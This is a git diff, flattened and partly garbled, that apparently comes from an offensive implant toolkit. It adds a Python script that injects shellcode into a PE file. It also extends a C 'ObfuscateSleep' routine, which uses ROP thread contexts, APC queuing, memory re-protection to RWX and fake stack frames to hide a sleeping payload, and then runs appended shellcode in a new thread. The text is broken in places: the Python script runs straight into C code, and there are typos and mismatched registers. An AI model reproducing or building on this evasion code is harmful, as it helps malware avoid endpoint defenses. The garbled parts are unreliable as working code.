diff --git a/scripts/foliage.py b/scripts/foliage.py new file mode 100644 index 0000000..48a8338 --- /dev/null +++ b/scripts/foliage.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- +import pefile +import argparse +import struct + +def main( f = None, o = None, s = None, m = None, y = None, d = None ): + try: + raw = open( f, 'rb+' ).read() + shc = open( s, 'rb+' ).read() + out = open( o, 'wb+' ) + + raw = raw.replace(b'\x41' * 4, struct.pack('ContextFlags = CONTEXT_FULL; ContextRopEnt->Rsp = U_PTR( ContextStolen->Rsp ); @@ -222,6 +223,15 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE ContextRopEnt->Rdx = U_PTR( FALSE ); ContextRopEnt->R8 = U_PTR( NULL ); *( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; +#else + *ContextRopEnt = *ContextStolen; + ContextRopEnt->ContextFlags = CONTEXT_FULL; + ContextRopEnt->Esp = U_PTR( ContextStolen->Esp - 0x100 ); + ContextRopEnt->Eip = U_PTR( Ins->nt.NtWaitForSingleObject ); + *( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; + + // insert argument chain here +#endif ContextStatus = Ins->nt.NtQueueApcThread( ContextRopThd, @@ -461,7 +471,7 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE ContextRopRes->Rcx = U_PTR( NtCurrentProcess() ); ContextRopRes->Rdx = U_PTR( &ContextResPtr ); ContextRopRes->R8 = U_PTR( &ContextResLen ); - ContextRopRes->R9 = U_PTR( PAGE_EXECUTE_READ ); + ContextRopRes->R9 = U_PTR( PAGE_EXECUTE_READWRITE ); *( ULONG_PTR *)( ContextRopRes->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert ; *( ULONG_PTR *)( ContextRopRes->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextResPrt; diff --git a/source/start.c b/source/start.c index b0b2da5..d8af28a 100644 --- a/source/start.c +++ b/source/start.c @@ -16,23 +16,25 @@ #include "common.h" -D_SEC(B) VOID WINAPI Start( VOID ) +D_SEC(B) VOID WINAPI Start( ULONG Length ) { + HANDLE Thd; HMODULE Mod; - CONTEXT Ctx; INSTANCE Ins; - LARGE_INTEGER Del; - UCHAR Stk[0x100]; Ins.kb.Base = PebGetModule( H_KERNELBASE ); + Ins.km.Base = PebGetModule( H_KERNEL32 ); Ins.nt.Base = PebGetModule( H_NTDLL ); Ins.Buffer = C_PTR( _GET_BEG() ); - Ins.Length = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() ); + Ins.Length = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() ) + Length; if ( Ins.kb.Base ) { Ins.kb.SetProcessValidCallTargets = PeGetFuncEat( Ins.kb.Base, H_SETPROCESSVALIDCALLTARGETS ); }; + Ins.km.LocalFileTimeToFileTime = PeGetFuncEat( Ins.km.Base, H_LOCALFILETIMETOFILETIME ); + Ins.km.SystemTimeToFileTime = PeGetFuncEat( Ins.km.Base, H_SYSTEMTIMETOFILETIME ); + Ins.nt.NtSignalAndWaitForSingleObject = PeGetFuncEat( Ins.nt.Base, H_NTSIGNALANDWAITFORSINGLEOBJECT ); Ins.nt.NtQueryInformationProcess = PeGetFuncEat( Ins.nt.Base, H_NTQUERYINFORMATIONPROCESS ); Ins.nt.NtProtectVirtualMemory = PeGetFuncEat( Ins.nt.Base, H_NTPROTECTVIRTUALMEMORY ); @@ -56,15 +58,54 @@ D_SEC(B) VOID WINAPI Start( VOID ) Ins.nt.NtContinue = PeGetFuncEat( Ins.nt.Base, H_NTCONTINUE ); Ins.nt.ExitThread = PeGetFuncEat( Ins.nt.Base, H_EXITTHREAD ); Ins.nt.NtClose = PeGetFuncEat( Ins.nt.Base, H_NTCLOSE ); + + UCHAR FakeStk[0x100]; + CONTEXT FakeCtx; - RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); - RtlSecureZeroMemory( &Del, sizeof( Del ) ); - RtlSecureZeroMemory( Stk, 0x100 ); + RtlSecureZeroMemory( &FakeCtx, sizeof( FakeCtx ) ); + RtlSecureZeroMemory( &FakeStk, 0x100 ); - Ctx.ContextFlags = CONTEXT_FULL; - Ctx.Rsp = U_PTR( &Stk[0x100 - 1] ); - Ctx.Rip = U_PTR( Ins.nt.RtlFreeHeap ); - Del.QuadPart = -( 90000 * 10000 ); +#if defined( _WIN64 ) + FakeCtx.ContextFlags = CONTEXT_FULL; + FakeCtx.Rip = U_PTR( Ins.nt.RtlFreeHeap ); + FakeCtx.Rsp = U_PTR( &FakeStk ); +#else + FaleCtx.ContextFlags = CONTEXT_FULL; + FakeCtx.Eip = U_PTR( Ins.nt.RtlFreeHeap ); + FakeCtx.Esp = U_PTR( &FakeStk ); +#endif - ObfuscateSleep( &Ins, &Ctx, &Del ); + FILETIME LocalTimeZon; + FILETIME LocalTimeUtc; + SYSTEMTIME LocalTimeSys; + LARGE_INTEGER LocalTimeOut; + + RtlSecureZeroMemory( &LocalTimeZon, sizeof( LocalTimeZon ) ); + RtlSecureZeroMemory( &LocalTimeUtc, sizeof( LocalTimeUtc ) ); + RtlSecureZeroMemory( &LocalTimeSys, sizeof( LocalTimeSys ) ); + RtlSecureZeroMemory( &LocalTimeOut, sizeof( LocalTimeOut ) ); + + LocalTimeSys.wMonth = 0x4242; + LocalTimeSys.wYear = 0x4343; + LocalTimeSys.wDay = 0x4444; + + Ins.km.SystemTimeToFileTime( &LocalTimeSys, &LocalTimeZon ); + Ins.km.LocalFileTimeToFileTime( &LocalTimeZon, &LocalTimeUtc ); + LocalTimeOut.LowPart = LocalTimeUtc.dwLowDateTime; + LocalTimeOut.HighPart = LocalTimeUtc.dwHighDateTime; + + ObfuscateSleep( &Ins, &FakeCtx, &LocalTimeOut ); + Ins.nt.NtCreateThreadEx( + &Thd, + THREAD_ALL_ACCESS, + NULL, + NtCurrentProcess(), + C_PTR( _GET_END( ) ), + NULL, + FALSE, + 0, + 0xFFFFFF, + 0xFFFFFF, + NULL + ); Ins.nt.NtClose( Thd ); };